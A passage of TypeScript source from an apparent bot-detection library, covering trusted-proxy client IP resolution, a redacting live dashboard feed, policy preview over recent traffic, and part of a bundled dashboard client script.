nothing in the forwarded chain, so the header would be silently ignored and every client would appear to come from your proxy.`);\n }\n\n return {\n detectors,\n rules,\n ranges,\n signatures,\n proxy: {\n trustProxy: proxyConfig.trustProxy ?? false,\n hops: hops ?? 1,\n header: (proxyConfig.header ?? \"x-forwarded-for\").toLowerCase(),\n trustedProxies,\n },\n actorKey,\n ignorePaths: (config.ignorePaths ?? []).map(statelessPattern),\n suspectThreshold: clamp(config.suspectThreshold ?? 60, 1, 100),\n strictEvidence,\n detectorTimeoutMs: Math.max(1, config.detectorTimeoutMs ?? 300),\n actorWindowMs: Math.max(1000, config.actorWindowMs ?? 900_000),\n maxActors: Math.max(16, config.maxActors ?? 20_000),\n exposeVerdictHeaders: config.exposeVerdictHeaders ?? false,\n clock: config.clock ?? systemClock,\n onError: config.onError ?? (() => {}),\n onWarning: config.onWarning ?? (() => {}),\n warnings,\n };\n}\n\nfunction addRange(target: Map<string, IpRangeSet>, name: string, entries: readonly string[] | undefined): void {\n if (!entries || entries.length === 0) return;\n const set = new IpRangeSet(entries);\n if (set.invalid.length > 0) {\n throw new ConfigError(`${name} contains entries that are not valid addresses or CIDRs: ${set.invalid.join(\", \")}. A range that silently matches nothing is a control that looks configured and is not.`);\n }\n target.set(name, set);\n}\n\nfunction clamp(value: number, min: number, max: number): number {\n return Math.min(max, Math.max(min, value));\n}\n\n/**\n * Recovers the client address from the socket address and the request headers.\n *\n * Exported because getting this right matters more than almost anything else here,\n * and you may want to call it directly or test it in isolation.\n */\nexport function resolveClientIp(\n socketAddress: string | undefined,\n headers: Record<string, string | undefined>,\n proxy: ResolvedConfig[\"proxy\"],\n): string {\n const direct = socketAddress !== undefined ? (normalizeIp(socketAddress) ?? socketAddress) : \"\";\n if (!proxy.trustProxy) return direct;\n\n const header = headers[proxy.header];\n if (header === undefined) return direct;\n\n // Bounded: the chain is client-supplied and would otherwise be an unbounded split.\n const chain = header\n .slice(0, 2048)\n .split(\",\")\n .map((entry) => entry.trim())\n .filter((entry) => entry.length > 0 && parseIp(entry) !== null)\n .map((entry) => normalizeIp(entry) as string);\n\n if (chain.length === 0) return direct;\n\n if (proxy.trustedProxies) {\n // The peer we are actually talking to is the first hop, and it is checked like\n // any other. This is the load-bearing line: without it, a request that reached\n // this server *without* passing through the configured proxies — a leaked origin\n // address, a pod reachable inside the cluster, anything that bypasses the load\n // balancer — is believed when it claims to come from somewhere else, and the\n // caller picks their own actor key, rate-limit bucket and IP reputation. The\n // header may only be read on behalf of a peer we put there ourselves.\n if (direct !== \"\" && !proxy.trustedProxies.contains(direct)) return direct;\n\n // Walk right to left past our own infrastructure. The first address that is not\n // ours is the closest one we did not put there — the furthest we can trust.\n for (let i = chain.length - 1; i >= 0; i--) {\n const candidate = chain[i]!;\n if (!proxy.trustedProxies.contains(candidate)) return candidate;\n }\n // Everything in the chain is our own proxies; the socket address is the truth.\n return direct;\n }\n\n // A chain shorter than the number of proxies we expect means the request did not\n // traverse the topology this server was configured for. Falling back to the\n // leftmost entry — as an earlier version of this function did — hands the choice of\n // address to whoever sent the header, which is precisely the attack `hops` exists\n // to prevent. The socket address is the only value that is always truthful, so a\n // surprising chain degrades to it rather than to attacker input.\n const index = chain.length - proxy.hops;\n if (index < 0) return direct;\n return chain[index] ?? direct;\n}\n","/**\n * Runs `work` and resolves to `fallback` if it takes longer than `ms`.\n *\n * Detection runs inline on the request path, so an unbounded await is an\n * availability bug: a slow reverse-DNS lookup or a stalled Redis round-trip would\n * hold the response open. Every I/O-bound detector is wrapped in this, and a\n * timeout degrades that one detector rather than the request.\n *\n * The underlying promise is not cancelled (JS has no such mechanism) but its result\n * is discarded and its rejection swallowed, so a late failure cannot surface as an\n * unhandled rejection.\n */\nexport function withTimeout<T>(work: Promise<T>, ms: number, fallback: T): Promise<T> {\n if (!Number.isFinite(ms) || ms <= 0) return work;\n return new Promise<T>((resolve) => {\n const timer = setTimeout(() => resolve(fallback), ms);\n // `unref` where available: a pending detection timer must never be the thing\n // keeping a CLI or a serverless invocation alive.\n (timer as { unref?: () => void }).unref?.();\n work.then(\n (value) => {\n clearTimeout(timer);\n resolve(value);\n },\n () => {\n clearTimeout(timer);\n resolve(fallback);\n },\n );\n });\n}\n\n/** `Promise.allSettled` semantics without allocating a settled-result wrapper per item. */\nexport async function settleAll(work: Iterable<Promise<void>>): Promise<void> {\n await Promise.all([...work].map((promise) => promise.catch(() => undefined)));\n}\n\nexport function isPromise(value: unknown): value is Promise<unknown> {\n return typeof (value as { then?: unknown } | null)?.then === \"function\";\n}\n","import { CREDENTIAL_HEADERS } from \"../notify/redact.js\";\nimport { networkKey } from \"../internal/ip.js\";\nimport type { BotHandler } from \"../core.js\";\nimport type { DashboardChange, DashboardEntry, DashboardNotice, DashboardRedaction } from \"./types.js\";\nimport type { Assessment, RequestFacts } from \"../types.js\";\nimport type { Decision } from \"../policy/types.js\";\n\n/** Hard ceiling on the ring, whatever the caller asks for. Every entry is attacker-shaped data. */\nconst MAX_FEED_LIMIT = 5000;\n/** Headers kept per request, and the longest value shown. Both are attacker-chosen. */\nconst MAX_HEADERS = 40;\nconst MAX_HEADER_VALUE = 300;\nconst REDACTED = \"[redacted]\";\nconst STRIPPED = new Set(CREDENTIAL_HEADERS);\n\n/**\n * The live feed: a bounded ring of recent assessments, and whoever is watching.\n *\n * Two engine events describe one request. `assess()` emits `assessment`; `decide()`\n * emits `decision` a moment later, and a caller who only ever assesses — a monitor\n * deployment, a log replay — never emits the second one at all. Showing a row per\n * event would double every request; waiting for the decision would show nothing at\n * all in monitor mode.\n *\n * So an entry is created when the assessment lands and *published* one turn of the\n * event loop later, by which time the decision has usually arrived and filled in the\n * action. A decision that arrives after publication sends a small update frame\n * instead. The result is one row per request, whichever way the engine is being used.\n */\n/** How the stream is throttled. See {@link DashboardOptions.maxEventsPerSecond}. */\nexport interface FeedLimits {\n maxEventsPerSecond: number;\n /** Oldest an entry may be before it is evicted, whatever the count. `0` disables it. */\n ttlMs: number;\n}\n\nexport class DashboardFeed {\n private readonly entries: DashboardEntry[] = [];\n private readonly pending = new Map<string, DashboardEntry>();\n /**\n * The frame each entry was last written on, by request id.\n *\n * Kept beside the ring rather than on the entry because it describes the *stream*,\n * not the request, and a viewer has no use for it. It is what makes a resume exact:\n * see {@link since}.\n */\n private readonly frames = new Map<string, number>();\n private readonly subscribers = new Set<(event: string, entry: DashboardEntry | undefined, frame: number) => void>();\n private readonly unsubscribe: Array<() => void> = [];\n private readonly limit: number;\n private readonly maskIp: boolean;\n private readonly truncateUserAgent: boolean;\n private readonly maskQuery: boolean;\n private readonly showHeaders: boolean;\n private sequence = 0;\n /**\n * A monotonic counter over everything ever *sent*, which is a different thing from\n * {@link DashboardEntry.seq}.\n *\n * `seq` numbers requests; this numbers frames. One request can be sent twice — once\n * when it is assessed and again when the decision lands — and a viewer that\n * reconnects between the two has to be told about the second. Numbering requests\n * cannot express that; numbering frames can, so this is what rides on the SSE `id:`\n * field and what {@link since} is asked about. It never resets, including across\n * {@link clear}, because a cursor a viewer is still holding must never point into a\n * reused range.\n */\n private frame = 0;\n private closed = false;\n /**\n * The stream's rate cap, and what it has cost.\n *\n * The cap is on *publishing*, never on recording. A thinned stream is a cosmetic\n * decision about how much a browser is asked to render; a thinned ring would be a\n * silent change to what `previewPolicy` runs over, which is the one thing on this\n * page that has to be exact.\n */\n private readonly maxPerSecond: number;\n /**\n * How long an entry may sit here. See {@link DashboardOptions.feedTtlMs}.\n *\n * The ring's other bound is a count, and a count is the wrong shape for this\n * question: on a quiet service five hundred requests can be a fortnight, and every\n * one of them holds an address, a User-Agent and a header set belonging to somebody.\n * \"We keep the last five hundred requests\" is a capacity statement; \"we keep nothing\n * older than an hour\" is a promise you can make to a person.\n */\n private readonly ttlMs: number;\n private windowStart = 0;\n private publishedThisSecond = 0;\n private skippedTotal = 0;\n\n constructor(handler: BotHandler, limit: number, redact: DashboardRedaction = {}, limits: FeedLimits = { maxEventsPerSecond: 0, ttlMs: 0 }) {\n this.limit = Math.max(1, Math.min(MAX_FEED_LIMIT, Math.floor(limit)));\n this.maxPerSecond = Math.max(0, Math.floor(limits.maxEventsPerSecond));\n this.ttlMs = Math.max(0, Math.floor(limits.ttlMs));\n this.maskIp = redact.maskIp === true;\n this.truncateUserAgent = redact.truncateUserAgent === true;\n this.maskQuery = redact.maskQuery !== false;\n this.showHeaders = redact.headers !== false;\n\n this.unsubscribe.push(handler.on(\"assessment\", (assessment) => this.record(assessment)));\n this.unsubscribe.push(handler.on(\"decision\", ({ assessment, decision }) => this.decide(assessment, decision)));\n }\n\n get size(): number {\n return this.entries.length;\n }\n\n /** The backlog, oldest first, so a dashboard opened late still sees the run so far. */\n backlog(): readonly DashboardEntry[] {\n return this.entries;\n }\n\n /**\n * Drops everything older than the TTL.\n *\n * Called when a request is recorded and on the dashboard's own timer, so the promise\n * holds on an idle process too — which is exactly the process where it matters, since\n * a busy one evicts by count long before anything reaches this age.\n */\n prune(now: number): number {\n if (this.ttlMs === 0) return 0;\n const cutoff = now - this.ttlMs;\n let expired = 0;\n while (expired < this.entries.length && (this.entries[expired] as DashboardEntry).at <= cutoff) expired++;\n if (expired === 0) return 0;\n for (const dropped of this.entries.splice(0, expired)) {\n this.pending.delete(dropped.requestId);\n this.frames.delete(dropped.requestId);\n }\n return expired;\n }\n\n /** The frame most recently sent. A viewer's cursor after it has been sent the backlog. */\n get cursor(): number {\n return this.frame;\n }\n\n /** Entries the rate cap kept off the stream since start. They are still in the ring. */\n get skipped(): number {\n return this.skippedTotal;\n }\n\n /**\n * Everything that has changed since a viewer's cursor, oldest change first.\n *\n * What a reconnecting browser gets instead of the whole ring. `EventSource` resends\n * the last `id:` it saw as `Last-Event-ID` without being asked, so a laptop lid, a\n * proxy timeout or a blip costs a handful of frames rather than several hundred\n * entries with their headers, evidence and actor history attached.\n *\n * `undefined` means the cursor cannot be honoured — it points before the oldest\n * frame still described by the ring, or past the newest one this server has issued\n * (a restarted process, a cleared feed) — and the caller should send the whole\n * backlog instead. Answering a stale cursor with \"nothing changed\" would leave a\n * viewer looking at a feed that has quietly stopped being true.\n */\n since(cursor: number): DashboardEntry[] | undefined {\n if (!Number.isFinite(cursor) || cursor < 0 || cursor > this.frame) return undefined;\n let oldest = Number.POSITIVE_INFINITY;\n for (const frame of this.frames.values()) if (frame < oldest) oldest = frame;\n // Nothing retained: any cursor is as good as any other, and there is nothing to\n // have missed.\n if (oldest === Number.POSITIVE_INFINITY) return [];\n // The ring has dropped frames the viewer never saw. It cannot know which, so it\n // is given everything.\n if (cursor < oldest - 1) return undefined;\n const changed = this.entries.filter((entry) => (this.frames.get(entry.requestId) ?? 0) > cursor);\n changed.sort((a, b) => (this.frames.get(a.requestId) ?? 0) - (this.frames.get(b.requestId) ?? 0));\n return changed;\n }\n\n subscribe(listener: (event: string, entry: DashboardEntry | undefined, frame: number) => void): () => void {\n this.subscribers.add(listener);\n return () => {\n this.subscribers.delete(listener);\n };\n }\n\n get clients(): number {\n return this.subscribers.size;\n }\n\n clear(): void {\n this.entries.length = 0;\n this.pending.clear();\n this.frames.clear();\n this.sequence = 0;\n this.skippedTotal = 0;\n // Every viewer, not just the one that pressed the button. Without this a second\n // browser goes on showing a feed of requests the server has forgotten, and its\n // next resume asks about frames nothing describes any more.\n this.publish(\"reset\", undefined);\n }\n\n close(): void {\n this.closed = true;\n for (const off of this.unsubscribe) off();\n this.unsubscribe.length = 0;\n this.subscribers.clear();\n this.clear();\n }\n\n private record(assessment: Assessment): void {\n if (this.closed) return;\n\n this.prune(assessment.facts.timestamp);\n const entry = this.entryFor(assessment, ++this.sequence);\n\n this.entries.push(entry);\n if (this.entries.length > this.limit) {\n for (const dropped of this.entries.splice(0, this.entries.length - this.limit)) {\n this.pending.delete(dropped.requestId);\n this.frames.delete(dropped.requestId);\n }\n }\n this.pending.set(entry.requestId, entry);\n\n // `setImmediate`, not `queueMicrotask`. The decision is emitted from the\n // continuation of an awaited `assess()`, which is itself a microtask — so a\n // microtask scheduled here would run *before* it and publish every row with no\n // action on it. A check phase callback runs after the queue drains, which is\n // exactly the boundary we need. Unreffed, so a pending publish never keeps a\n // process alive on its own.\n const timer = setImmediate(() => {\n this.pending.delete(entry.requestId);\n if (this.allowedToPublish(entry.at)) this.publish(\"entry\", entry);\n });\n timer.unref();\n }\n\n /**\n * One assessment as the page shows it.\n *\n * Split out of `record` because the request tester needs exactly this and must not go\n * anywhere near the ring: a dry run is not traffic, so it is shaped like a feed entry\n * and then handed straight back to whoever asked, never stored and never published.\n */\n entryFor(assessment: Assessment, seq: number): DashboardEntry {\n return {\n seq,\n requestId: assessment.requestId,\n at: assessment.facts.timestamp,\n method: assessment.facts.method,\n path: assessment.facts.path.slice(0, 200),\n actor: this.maskIp ? (networkKey(assessment.actor.key) ?? assessment.actor.key) : assessment.actor.key,\n userAgent: this.userAgent(assessment),\n verdict: assessment.verdict,\n botClass: assessment.botClass,\n identity: assessment.identity,\n score: assessment.score,\n certain: assessment.certain,\n durationMs: Number(assessment.durationMs.toFixed(3)),\n bypass: assessment.bypass,\n evidence: [...assessment.evidence, ...assessment.humanEvidence].map((item) => ({\n detector: item.detector,\n summary: item.summary,\n certainty: item.certainty,\n direction: item.direction,\n family: item.family,\n deterministicBasis: item.deterministicBasis,\n identity: item.identity,\n // The category rides along because the policy matcher reads it, and the\n // preview re-decides requests from these entries alone.\n category: typeof item.metadata?.[\"category\"] === \"string\" ? (item.metadata[\"category\"] as string) : undefined,\n weight: item.weight,\n })),\n failures: assessment.failures.map((failure) => ({ detector: failure.detector, reason: failure.reason, message: failure.message })),\n actorStats: {\n requests: assessment.actor.requests,\n distinctPaths: assessment.actor.distinctPaths,\n priorConfirmations: assessment.actor.priorConfirmations,\n cleared: assessment.actor.cleared,\n firstSeen: assessment.actor.firstSeen,\n sinceLastMs: assessment.actor.sinceLastMs,\n },\n query: this.query(assessment.facts),\n ...(this.showHeaders ? { headers: this.headers(assessment.facts) } : {}),\n protocol: assessment.facts.protocol,\n httpVersion: assessment.facts.httpVersion,\n };\n }\n\n private decide(assessment: Assessment, decision: Decision): void {\n if (this.closed) return;\n const waiting = this.pending.get(assessment.requestId);\n const entry = waiting ?? this.entries.find((candidate) => candidate.requestId === assessment.requestId);\n if (entry === undefined) return;\n\n entry.action = decision.action;\n entry.rule = decision.rule;\n entry.downgradedFrom = decision.downgradedFrom;\n entry.downgradeReason = decision.downgradeReason;\n\n // Already on screen: send the difference rather than a second row — but only if it\n // ever reached the screen. An update for an entry the rate cap dropped would put a\n // row in front of a viewer that the stream never introduced, and withholding the\n // update from one it *did* send would leave that row saying \"assessed only\"\n // forever. So the cap is decided once, when the entry is published, and the update\n // follows whatever was decided.\n if (waiting === undefined && this.frames.has(entry.requestId)) this.publish(\"update\", entry);\n }\n\n /**\n * Whether this entry goes out on the stream.\n *\n * A plain per-second counter rather than a smoothed rate: the front of a burst is\n * the part worth seeing, so a second's whole allowance is spendable at once. What is\n * dropped is counted and reported, because a feed that thins itself silently looks\n * like traffic that stopped.\n */\n private allowedToPublish(at: number): boolean {\n if (this.maxPerSecond === 0) return true;\n const second = Math.floor(at / 1000);\n if (second !== this.windowStart) {\n this.windowStart = second;\n this.publishedThisSecond = 0;\n }\n if (this.publishedThisSecond < this.maxPerSecond) {\n this.publishedThisSecond++;\n return true;\n }\n this.skippedTotal++;\n return false;\n }\n\n private publish(event: string, entry: DashboardEntry | undefined): void {\n const frame = ++this.frame;\n if (entry !== undefined) this.frames.set(entry.requestId, frame);\n for (const subscriber of this.subscribers) subscriber(event, entry, frame);\n }\n\n /**\n * Headers in wire order, with credentials removed.\n *\n * `facts.headerOrder` is the order they arrived in and is itself a fingerprint —\n * showing them alphabetically would hide the very thing `header-order` reads. The\n * map is consulted for values, and anything in {@link CREDENTIAL_HEADERS} is\n * replaced rather than omitted, so the reader can see that a cookie was sent\n * without seeing the cookie.\n */\n private headers(facts: RequestFacts): Array<[string, string]> {\n const rows: Array<[string, string]> = [];\n const seen = new Set<string>();\n const push = (name: string): void => {\n if (seen.has(name) || rows.length >= MAX_HEADERS) return;\n seen.add(name);\n const value = facts.headers[name];\n if (value === undefined) return;\n rows.push([name, STRIPPED.has(name) ? REDACTED : value.slice(0, MAX_HEADER_VALUE)]);\n };\n for (const name of facts.headerOrder) push(name);\n // Anything the transport did not give an order for still belongs on the list.\n for (const name of Object.keys(facts.headers)) push(name);\n return rows;\n }\n\n private query(facts: RequestFacts): Record<string, string> {\n const query: Record<string, string> = {};\n for (const [name, value] of Object.entries(facts.query)) {\n query[name] = this.maskQuery ? REDACTED : value.slice(0, 200);\n }\n return query;\n }\n\n private userAgent(assessment: Assessment): string {\n const raw = assessment.facts.headers[\"user-agent\"] ?? \"\";\n if (raw.length === 0) return \"(no User-Agent)\";\n return raw.slice(0, this.truncateUserAgent ? 48 : 160);\n }\n}\n\n/**\n * Warnings and errors the engine raised, kept for the notices panel.\n *\n * Startup warnings are the ones that matter most and the ones most easily missed:\n * `resolveConfig` collects them at construction, they go to `onWarning`, and on a\n * busy boot they scroll past. A dashboard that shows a live feed of traffic while a\n * warning saying \"two rules share an id\" sits unread in a log file is showing you the\n * wrong half of the picture, so the panel is seeded with those and then follows the\n * `warning` and `error` events for the life of the process.\n */\nexport class DashboardNotices {\n private readonly notices: DashboardNotice[] = [];\n private readonly unsubscribe: Array<() => void> = [];\n\n constructor(\n handler: BotHandler,\n private readonly limit = 100,\n ) {\n const now = handler.config.clock.now();\n for (const message of handler.config.warnings) this.notices.push({ at: now, kind: \"warning\", source: \"startup\", message });\n\n this.unsubscribe.push(handler.on(\"warning\", (message) => this.add({ at: handler.config.clock.now(), kind: \"warning\", message })));\n // An anomaly belongs here for the same reason a startup warning does: it is\n // something the operator needs to have seen, and it is not about any one request\n // in the feed.\n this.unsubscribe.push(\n handler.on(\"anomaly\", (anomaly) => this.add({ at: anomaly.at, kind: anomaly.severity === \"critical\" ? \"error\" : \"warning\", source: `audit:${anomaly.id}`, message: anomaly.summary })),\n );\n this.unsubscribe.push(\n handler.on(\"error\", ({ error, source }) =>\n this.add({ at: handler.config.clock.now(), kind: \"error\", source, message: error instanceof Error ? error.message : String(error) }),\n ),\n );\n }\n\n list(): readonly DashboardNotice[] {\n return this.notices;\n }\n\n close(): void {\n for (const off of this.unsubscribe) off();\n this.unsubscribe.length = 0;\n }\n\n private add(notice: DashboardNotice): void {\n this.notices.push(notice);\n if (this.notices.length > this.limit) this.notices.splice(0, this.notices.length - this.limit);\n }\n}\n\n/**\n * Runtime changes, kept for the timeline markers.\n *\n * The traffic chart draws what happened; this is what somebody *did*, on the same axis.\n * A preview says \"44 of 151 requests would be treated differently\", which is a\n * prediction — and until the moment of the change is drawn against the traffic either\n * side of it, nothing on the page ever tells you whether the prediction held.\n *\n * Deliberately separate from the notices, which are the engine talking about itself.\n * These are people talking about the engine, and they are the shorter and more\n * interesting list.\n */\nexport class DashboardChanges {\n private readonly changes: DashboardChange[] = [];\n private readonly unsubscribe: Array<() => void> = [];\n\n constructor(\n handler: BotHandler,\n private readonly limit = 50,\n ) {\n const now = (): number => handler.config.clock.now();\n this.unsubscribe.push(\n handler.on(\"policy-change\", ({ rules, by }) => this.add({ at: now(), kind: \"policy\", summary: `${rules.length} rule(s) applied`, by })),\n handler.on(\"guard-change\", ({ before, after, by }) =>\n this.add({\n at: now(),\n kind: \"guard\",\n summary:\n before.falsePositivePolicy === after.falsePositivePolicy\n ? `guard re-applied (${after.falsePositivePolicy})`\n : `guard ${before.falsePositivePolicy} → ${after.falsePositivePolicy}`,\n by,\n }),\n ),\n handler.on(\"range-change\", ({ name, size, by }) => this.add({ at: now(), kind: \"range\", summary: `${name}: ${size} entr${size === 1 ? \"y\" : \"ies\"}`, by })),\n handler.on(\"actor-change\", ({ key, action, by }) => this.add({ at: now(), kind: \"actor\", summary: `${key} ${action === \"forget\" ? \"forgotten\" : \"cleared as human\"}`, by })),\n );\n }\n\n list(): readonly DashboardChange[] {\n return this.changes;\n }\n\n close(): void {\n for (const off of this.unsubscribe) off();\n this.unsubscribe.length = 0;\n }\n\n private add(change: DashboardChange): void {\n this.changes.push(change);\n if (this.changes.length > this.limit) this.changes.splice(0, this.changes.length - this.limit);\n }\n}\n","import { Policy } from \"../policy/policy.js\";\nimport type { DashboardEntry, PolicyPreview } from \"./types.js\";\nimport type { Assessment, Evidence } from \"../types.js\";\nimport type { ActionName, Rule } from \"../policy/types.js\";\nimport type { GuardSettings } from \"../policy/policy.js\";\n\n/** Samples returned with a preview. Enough to see the shape of a change, few enough to read. */\nconst MAX_SAMPLES = 25;\n\n/**\n * \"What would this rule set have done to the traffic I just watched?\"\n *\n * This is the `replay` command's question, asked about the last few minutes instead of\n * about a log file, and answered before the change is applied rather than after. The\n * reason it can be answered at all is that {@link Policy.decide} is **pure**: it reads\n * an assessment and returns a decision, touching no state, no store and no network. So\n * a candidate policy can be run over the retained window as many times as somebody\n * cares to edit it, and nothing about the running system moves.\n *\n * **What is faithful, and what is not.** Rule *matching* is exact: every field the\n * matcher reads — verdict, class, identity, category, certainty, score, path, method,\n * detector, prior confirmations — travels on the feed entry, so a rule matches here\n * exactly when it would have matched then. The safety guard is exact too, for the same\n * reason. What a preview cannot tell you is what the *action* would have done: a\n * challenge might have been solved, a rate limit might not have been reached, a custom\n * handler would have run code this does not run. It answers \"which rule, and which\n * action\", which is the question an edit is about.\n */\nexport function previewPolicy(entries: readonly DashboardEntry[], live: Policy, candidate: Policy, warnings: string[] = []): PolicyPreview {\n const before: Record<string, number> = {};\n const after: Record<string, number> = {};\n const ruleHits = new Map<string, number>();\n const samples: PolicyPreview[\"samples\"] = [];\n let changed = 0;\n let newDenials = 0;\n let evaluated = 0;\n\n for (const rule of candidate.ruleIds) ruleHits.set(rule, 0);\n\n for (const entry of entries) {\n // A bypassed request never reached the policy and would not reach a candidate\n // either; counting it as \"unchanged\" would quietly inflate the denominator.\n if (entry.bypass !== undefined) continue;\n evaluated++;\n\n const assessment = assessmentFromEntry(entry);\n const previous = live.decide(assessment);\n const next = candidate.decide(assessment);\n\n before[previous.action] = (before[previous.action] ?? 0) + 1;\n after[next.action] = (after[next.action] ?? 0) + 1;\n ruleHits.set(next.rule, (ruleHits.get(next.rule) ?? 0) + 1);\n\n if (next.action !== previous.action) {\n changed++;\n if (isDenial(next.action) && !isDenial(previous.action)) newDenials++;\n if (samples.length < MAX_SAMPLES) {\n samples.push({\n path: entry.path,\n verdict: entry.verdict,\n userAgent: entry.userAgent,\n from: previous.action,\n to: next.action,\n fromRule: previous.rule,\n toRule: next.rule,\n });\n }\n }\n }\n\n return {\n evaluated,\n changed,\n before,\n after,\n ruleHits: [...ruleHits].map(([rule, hits]) => ({ rule, hits })),\n samples,\n warnings,\n newDenials,\n };\n}\n\nfunction isDenial(action: ActionName): boolean {\n return action === \"block\" || action === \"drop\" || action === \"redirect\";\n}\n\n/**\n * Rebuilds enough of an {@link Assessment} for the policy to decide about it.\n *\n * Deliberately built from the feed entry rather than from a retained assessment\n * object. Keeping the real assessments alive would mean holding every request's full\n * header set — cookies included — in memory for as long as the ring is long, to\n * support a feature that only reads a dozen fields. The entry already carries those\n * dozen fields, so the preview costs nothing extra and the headers stay where they\n * were already redacted.\n */\nexport function assessmentFromEntry(entry: DashboardEntry): Assessment {\n const evidence: Evidence[] = [];\n const humanEvidence: Evidence[] = [];\n\n for (const item of entry.evidence) {\n const rebuilt: Evidence = {\n detector: item.detector,\n summary: item.summary,\n direction: item.direction,\n certainty: item.certainty,\n ...(item.weight !== undefined ? { weight: item.weight } : {}),\n ...(item.identity !== undefined ? { identity: item.identity } : {}),\n ...(item.family !== undefined ? { family: item.family } : {}),\n // `category` is read off metadata by the matcher, so it has to go back there.\n ...(item.category !== undefined ? { metadata: { category: item.category } } : {}),\n };\n (item.direction === \"human\" ? humanEvidence : evidence).push(rebuilt);\n }\n\n return {\n requestId: entry.requestId,\n verdict: entry.verdict,\n botClass: entry.botClass,\n ...(entry.identity !== undefined ? { identity: entry.identity } : {}),\n score: entry.score,\n confidence: entry.certain ? 1 : entry.score / 100,\n certain: entry.certain,\n evidence,\n humanEvidence,\n actor: {\n key: entry.actor,\n requests: entry.actorStats.requests,\n distinctPaths: entry.actorStats.distinctPaths,\n firstSeen: entry.actorStats.firstSeen,\n lastSeen: entry.at,\n ...(entry.actorStats.sinceLastMs !== undefined ? { sinceLastMs: entry.actorStats.sinceLastMs } : {}),\n priorConfirmations: entry.actorStats.priorConfirmations,\n unsolvedChallenges: 0,\n cleared: entry.actorStats.cleared,\n },\n durationMs: entry.durationMs,\n failures: [],\n facts: {\n method: entry.method,\n path: entry.path,\n query: entry.query,\n headers: {},\n headerOrder: [],\n ip: entry.actor,\n timestamp: entry.at,\n ...(entry.protocol === \"http\" || entry.protocol === \"https\" ? { protocol: entry.protocol } : {}),\n ...(entry.httpVersion !== undefined ? { httpVersion: entry.httpVersion } : {}),\n },\n };\n}\n\n/**\n * Builds a candidate policy with the live policy's guard settings.\n *\n * The guard is copied rather than accepted from the caller, and that is the point: a\n * preview — and the apply that may follow it — changes which rules exist and never how\n * far one may go. Somebody editing rules in a browser cannot turn `strict` into\n * `aggressive` by adding a field to the JSON, because the field is not read.\n */\nexport function candidatePolicy(rules: readonly Rule[], live: Policy, guard: Partial<GuardSettings> = {}): Policy {\n const described = live.describe();\n const candidate = new Policy({\n rules,\n defaultAction: described.defaultAction,\n falsePositivePolicy: described.falsePositivePolicy,\n fallbackAction: described.fallbackAction,\n terminalScoreThreshold: described.terminalScoreThreshold,\n });\n // A guard the caller wants to try, validated by the same method the running policy\n // would validate it with — so a preview cannot describe a guard the server would\n // refuse to accept, which would be the worst kind of preview.\n candidate.replaceGuard(guard);\n return candidate;\n}\n","/**\n * Generated by `npm run client:build` from `src/dashboard/client/`. Do not edit.\n *\n * The dashboard's browser code, bundled into the string `page.ts` stamps into its\n * one nonced <script>. See scripts/build-client.mjs for why this exists.\n */\n\n/* eslint-disable */\nexport const CLIENT_SCRIPT = \"\\\"use strict\\\";\\n(() => {\\n // src/dashboard/client/dom.ts\\n function el(tag, className, value) {\\n const node = document.createElement(tag);\\n if (className !== void 0 && className !== null && className !== \\\"\\\") node.className = className;\\n if (value !== void 0 && value !== null) node.textContent = String(value);\\n return node;\\n }\\n function svgEl(name, attributes = {}) {\\n const node = document.createElementNS(\\\"http://www.w3.org/2000/svg\\\", name);\\n for (const [key, value] of Object.entries(attributes)) node.setAttribute(key, String(value));\\n return node;\\n }\\n function svgText(attributes, text) {\\n const node = svgEl(\\\"text\\\", attributes);\\n node.textContent = String(text);\\n return node;\\n }\\n function clear(node) {\\n while (node.firstChild) node.removeChild(node.firstChild);\\n }\\n function cssEscape(value) {\\n return typeof CSS !== \\\"undefined\\\" && typeof CSS.escape === \\\"function\\\" ? CSS.escape(value) : String(value).replace(/[^\\\\w-]/g, \\\"\\\\\\\\$&\\\");\\n }\\n function $(id) {\\n const node = document.getElementById(id);\\n if (node === null) throw new Error(`dashboard: no element #${id}`);\\n return node;\\n }\\n function byId(id) {\\n return $(id);\\n }\\n function css(name) {\\n return getComputedStyle(document.documentElement).getPropertyValue(name).trim();\\n }\\n var sequence = 0;\\n function label(text, control) {\\n const node = document.createElement(\\\"label\\\");\\n node.textContent = text;\\n const single = Array.isArray(control) ? control.length === 1 ? control[0] : void 0 : control;\\n if (single !== void 0 && /^(input|select|textarea)$/i.test(single.tagName)) {\\n if (single.id === \\\"\\\") single.id = `field-${++sequence}`;\\n node.htmlFor = single.id;\\n } else {\\n const group = Array.isArray(control) ? control : [control];\\n for (const node_ of group) if (!node_.hasAttribute(\\\"aria-label\\\")) node_.setAttribute(\\\"aria-label\\\", text);\\n }\\n return node;\\n }\\n\\n // src/dashboard/client/boot.ts\\n var raw = globalThis.__BOOTSTRAP__;\\n var BOOT = raw ?? {\\n base: \\\"\\\",\\n title: \\\"bothandlerjs\\\",\\n allowReset: false,\\n allowEdit: false,\\n allowGuardEdit: false,\\n allowActing: false,\\n peers: [],\\n sections: { feed: true, evidence: true, actors: true, registry: true, tester: true, statistics: true, audit: true, notices: true, changes: true, policy: true, guard: true, robots: true, ranges: true },\\n links: []\\n };\\n var API = BOOT.base;\\n var SECTIONS = BOOT.sections;\\n\\n // src/dashboard/client/app.ts\\n var app = {\\n draw: () => {\\n },\\n drawNow: () => {\\n },\\n showTab: () => {\\n },\\n syncUrl: () => {\\n }\\n };\\n function toast(kind, title, detail = \\\"\\\") {\\n const node = el(\\\"div\\\", `toast ${kind}`);\\n node.appendChild(el(\\\"b\\\", null, title));\\n if (detail !== \\\"\\\") node.appendChild(el(\\\"span\\\", null, detail));\\n const host = document.getElementById(\\\"toasts\\\");\\n if (host === null) return;\\n host.appendChild(node);\\n setTimeout(() => node.remove(), 6e3);\\n }\\n function download(text, filename, type) {\\n const blob = new Blob([text], { type });\\n const url = URL.createObjectURL(blob);\\n const anchor = el(\\\"a\\\");\\n anchor.href = url;\\n anchor.download = filename;\\n anchor.click();\\n setTimeout(() => URL.revokeObjectURL(url), 1e3);\\n }\\n function today() {\\n return (/* @__PURE__ */ new Date()).toISOString().slice(0, 10);\\n }\\n\\n // src/dashboard/client/outcome.ts\\n var DENY = /* @__PURE__ */ new Set([\\\"block\\\", \\\"drop\\\", \\\"redirect\\\"]);\\n var MITIGATE = /* @__PURE__ */ new Set([\\\"challenge\\\", \\\"rate-limit\\\", \\\"delay\\\"]);\\n function outcome(entry) {\\n return actionKind(entry.action);\\n }\\n function actionKind(action) {\\n if (action === void 0) return \\\"pending\\\";\\n if (DENY.has(action)) return \\\"deny\\\";\\n if (MITIGATE.has(action)) return 